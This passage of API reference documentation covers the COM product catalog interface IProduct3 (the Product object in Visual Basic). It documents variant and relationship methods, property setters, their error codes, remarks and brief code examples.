E_CAT_BLANK_VARIANT | [C++] 0x8898004F [Visual Basic] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C++] 0x8898001F [Visual Basic] &H8898001F | The product-variant you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vVarID is a Variant containing the unique ID
'for the product variant.
myProduct.DeleteVariant vVarID

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::CreateVariant

[Visual Basic] Product.CreateVariant


IProduct3::GetVariantProperties Method [C++]

Product.GetVariantProperties Method [Visual Basic]

Use this method to retrieve the properties for a specified product variant.

Definition

[C++]
HRESULT IProduct3::GetVariantProperties(
  VARIANT varProductVariantID,
  _Recordset** ppRSProductVariant
);
[Visual Basic]
Function GetVariantProperties(
  varProductVariantID As Variant
) As Recordset

Parameters

varProductVariantID [C++]
[in] A VARIANT that contains the unique ID of the product variant.
varProductVariantID [Visual Basic]
A Variant that contains the unique ID of the product variant.
ppRSProductVariant [C++]
[out, retval] A pointer to a Recordset object used to return the product variant properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the variant properties.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants, the catalog has to be created with variant identifier.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C++] 0x8898001F [Visual Basic] &H8898001F | The product-variant you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProductVariant parameter contains valid data only if the method was accessed successfully.

This method returns the properties of the specified product variant. Multilingual properties will be returned in the current language of the catalog. If the product variant specified in the varProductVariantID parameter does not exist in the product, the method will fail.

A single row recordset with all the properties of the variant is returned. The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

The OID field is used internally by the Product Catalog System and should not be updated.

The recordset returned is updateable, but disconnected. To modify the product properties, pass this recordset to the SetVariantProperties method.

The returned recordset contains the fields listed in the following table.

Field | Data Type
oid | int
cy_list_price | money
Timestamp | timestamp
ProductID | string

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vVarID is a Variant containing the unique ID of the variant.
SET rsVariantProps = myProduct.GetVariantProperties(vVarID)

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::SetVariantProperties

[Visual Basic] Product.SetVariantProperties


IProduct3::RemoveRelationshipToCategory Method [C++]

Product.RemoveRelationshipToCategory Method [Visual Basic]

Use this method to remove the specified relationship between the specified category and this product.

Definition

[C++]
HRESULT IProduct3::RemoveRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  Optional strCatalogName As Variant)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the category that is to have its relationship to this product removed.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the category that is to have its relationship to this product removed.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship to be removed.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship to be removed.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog containing the name of the category that is to have its relationship to this product removed.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the category that is to have its relationship to this product removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )# . which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Remove the "Accessory" relationship this product has to
' the "Apparel" category.

myProduct.RemoveRelationshipToCategory "Apparel", "Accessory", "myCat"

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_RelatedCategories

[Visual Basic] Product.RelatedCategories

[C++] IProduct3::AddRelationshipToCategory

[Visual Basic] Product.AddRelationshipToCategory

[C++] IProduct3::RemoveRelationshipToProduct

[Visual Basic] Product.RemoveRelationshipToProduct


IProduct3::RemoveRelationshipToProduct Method [C++]

Product.RemoveRelationshipToProduct Method [Visual Basic]

Use this method to remove the specified relationship between the specified product in the specified catalog and this product.

Definition

[C++]
HRESULT IProduct3::RemoveRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String
  strCatalogName As String
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the unique ID of the product that is to have its relationship to this product removed.
varRelatedProductID [Visual Basic]
A Variant that contains the unique ID of the product that is to have its relationship to this product removed.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship to be removed.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship to be removed.
strCatalogName [C++]
[in] A BSTR that contains the name of the catalog containing the name of the related product.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the related product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &Hx88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the productID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the productID is either out of range or else does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The Category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vProdID is a Variant containing the unique ID of the related product.
myProduct.RemoveRelationshipToProduct(vProdID, "Accessory", "myCat")

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_RelatedProducts

[Visual Basic] Product.RelatedProducts

[C++] IProduct3::AddRelationshipToProduct

[Visual Basic] Product.AddRelationshipToProduct

[C++] IProduct3::RemoveRelationshipToCategory

[Visual Basic] Product.RemoveRelationshipToCategory


IProduct3::SetProductProperties Method [C++]

Product.SetProductProperties Method [Visual Basic]

Use this method to set the properties for this product.

Definition

[C++]
HRESULT IProduct3::SetProductProperties(
  _Recordset* pRSProduct,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetProductProperties(
  pRSProduct As Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSProduct [C++]
[in] A pointer to a Recordset object that contains the new product properties. This should be an updated recordset returned by the GetProductProperties method.
pRSProduct [Visual Basic]
A Recordset object that contains the new product properties. This should be an updated recordset returned by the GetProductProperties method.
fForceUpdate [C++]
[in, optional] A VARIANT that determines whether to force an update of the product properties.
fForceUpdate [Visual Basic]
A Variant that determines whether to force an update of the product properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants. the catalog has to be created with variant identifier.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_PRODUCT_CHANGED | [C++] 0x88980027 [Visual Basic] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C++] 0x889800B4 [Visual Basic] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties the specified value should lie between the minimum and maximum lengths defined for the property.For numeric properties the specified value should lie between minium and maximum values.For enumeration properties the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C++] 0x8898003C [Visual Basic] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the SetProductProperties method to modify the properties of a product. The pRSProduct parameter specifies a Recordset object that describes the new property values for this product. This method will not update the fields derived from the catalog, such as ProductID and VariantID. If this method is called for a product family it will update the properties for all variants that belong to the product family.

Use the Recordset object returned by the GetProductProperties property so that the time stamps can be compared to the records updated by this method for error detection.

If the fForceUpdate parameter is set to False, and the property values for this product have been changed since the pRSProduct recordset was obtained from the GetProductProperties property, the method will fail.

This method will update the value of multilingual properties for the current language of the catalog.

Calling this method on a virtual catalog returns an error:E_CAT_VC_NOT_A_SUPPLIER_CATALOG "Invalid Catalog Type. This API can only be called on a Base Catalog."

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'This example changes the list price for a product.
set rsProductProps = myProduct.GetProductProperties
rsProductProps.fields("cy_list_price").value = CCur(1.398)
myProduct.SetProductProperties rsProductProps, TRUE

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::GetProductProperties

[Visual Basic] Product.GetProductProperties


IProduct3::SetRelatedCategories Method [C++]

Product.SetRelatedCategories Method [Visual Basic]

Use this method to update category relationships.

Definition

[C++]
HRESULT IProduct3::SetRelatedCategories(
  _Recordset* pRSRelatedCategories
);
[Visual Basic]
Sub SetRelatedCategories(
  pRSRelatedCategories As _Recordset
)

Parameters

pRSRelatedCategories [C++]
[in] A reference to a Recordset object that contains the related categories.
pRSRelatedCategories [Visual Basic]
A Recordset object that contains the related categories.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[Visual Basic] The recordset used for the pRSRelatedCategories parameter should be obtained from the RelatedCategories property.

[C++] The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedCategories method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedCategories is an existing recordset.
'It was obtained from the RelatedCategories property.

myProduct.SetRelatedCategories(pRSRelatedCategories)

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::SetRelatedProducts Method [C++]

Product.SetRelatedProducts Method [Visual Basic]

Use this method to update product relationships.

Definition

[C++]
HRESULT IProduct3::SetRelatedProducts(
  _Recordset* pRSRelatedProducts
);
[Visual Basic]
Sub SetRelatedProducts(
  pRSRelatedProducts As _Recordset
)

Parameters

pRSRelatedProducts [C++]
[in] A reference to a _Recordset object that contains the related products.
pRSRelatedProducts [Visual Basic]
A Recordset object that contains the related products.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[Visual Basic] The recordset used for the pRSRelatedProducts parameter should be obtained from the RelatedProducts property.

[C++] The recordset used for the pRSRelatedProducts parameter should be obtained from the get_RelatedProducts method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedProducts method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedProducts is an existing recordset.
'It was obtained from the RelatedProducts property.

myProduct.SetRelatedProducts(pRSRelatedProducts)

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::SetVariantProperties Method [C++]

Product.SetVariantProperties Method [Visual Basic]

Use this method to set the properties for a variant of this product.

Definition

[C++]
HRESULT IProduct3::SetVariantProperties(
  _Recordset* pRSNewState,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetVariantProperties(
  pRSNewState As _Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSNewState [C++]
[in] A pointer to a Recordset object that contains the new product variant properties. This should be a recordset returned by the GetVariantProperties property, or by the CreateVariant method.
pRSNewState [Visual Basic]
A Recordset object that contains the new product variant properties. This should be a recordset returned by the GetVariantProperties property, or by the CreateVariant method.
fForceUpdate [C++]
[in, optional] A VARIANT that determines whether to force an update of the product variant properties.
fForceUpdate [Visual Basic]
A Variant that determines whether to force an update of the product variant properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants, the catalog has to be created with variant identifier.
E_CAT_VARIANT_DOESNT_EXIST | [C++] 0x8898001F [Visual Basic] &H8898001F | The product-variant you specified doesn't exist.
E_CAT_PRODUCT_CHANGED | [C++] 0x88980027 [Visual Basic] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C++] 0x889800B4 [Visual Basic] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should lie between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should lie between a minimum and maximum value. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C++] 0x8898003C [Visual Basic] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[Visual Basic] Use the SetVariantProperties method to modify the properties of a product variant. The pRSNewState parameter specifies a Recordset object that describes the new property values for this product variant. Use the recordset returned by the GetVariantProperties method, or by the CreateVariant method, so that time stamps can be compared for error detection.

[C++] Use the SetVariantProperties method to modify the properties of a product variant. The pRSNewState parameter specifies a Recordset object that describes the new property values for this product variant. Use the recordset returned by the GetVariantProperties method, or by the CreateVariant method, so that time stamps can be compared for error detection.

If the fForceUpdate parameter is set to False, and the property values in the pRSNewState parameter have changed, the method will fail.

This method will update the value of multilingual properties for the current language of the catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProduct.SetVariantProperties pRSNewState, fForceUpdate

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::GetVariantProperties

[Visual Basic] Product.GetVariantProperties


IProduct3 Properties [C++]

Product Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | _Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | _Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | BSTR | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique ID for this product. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | _Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | String | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique identifier for this product This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | Boolean | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.


IProduct3::get_AncestorCategories Property [C++]

Product.AncestorCategories Property [Visual Basic]

The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this product in the hierarchy.

Definition

[C++]
HRESULT IProduct3::get_AncestorCategories(
  _Recordset** AncestorCategories
);
[Visual Basic]
Property AncestorCategories As Recordset

Parameters

AncestorCategories [C++]
[out, retval] The address of a pointer to a _Recordset object used to return the ancestor categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this property can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The AncestorCategories parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The AncestorCategories property contains valid data only if it was accessed successfully.

The AncestorCategories property is a Recordset object with a single 128-character field, called Name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_ParentCategories

[Visual Basic] Product.ParentCategories


IProduct3::get_CatalogName Property [C++]

Product.CatalogName Property [Visual Basic]

The CatalogName property is a read-only String that contains the name of the catalog from which this product was retrieved.

Definition

[C++]
HRESULT IProduct3::get_CatalogName(
  BSTR* CatalogName
);
[Visual Basic]
Property CatalogName As String

Parameters

CatalogName [C++]
[out, retval] A BSTR used to return the catalog name.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

